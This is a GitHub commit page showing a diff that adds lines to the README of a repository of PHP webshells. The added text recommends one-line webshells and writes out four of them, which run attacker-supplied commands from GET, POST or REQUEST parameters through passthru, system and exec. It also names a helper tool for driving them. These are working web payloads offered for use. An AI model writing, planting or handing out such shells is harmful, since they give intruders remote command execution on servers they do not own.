Skip to content

Commit 7c758bb

Browse files
author
John Troony
committed
updated
1 parent 85583a1 commit 7c758bb

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,23 @@ php-webshells
22
=============
33

44
Common php webshells. Do not host the file(s) in your server!
5+
6+
++++++++++++++++++++++++++
7+
8+
Though I recommend one-liners like
9+
10+
<?php echo passthru($_GET['cmd']); ?>
11+
12+
(Not a full fledged webshell, but works fine)
13+
14+
=================================================================
15+
16+
You can try WebHandler for one-liners.
17+
18+
WebHandler.py works for POST and GET requests:
19+
20+
<?php system($_GET['cmd']); ?>
21+
<?php passthru($_REQUEST['cmd']); ?>
22+
<?php echo exec($_POST['cmd']); ?>
23+
24+

0 commit comments

Comments
 (0)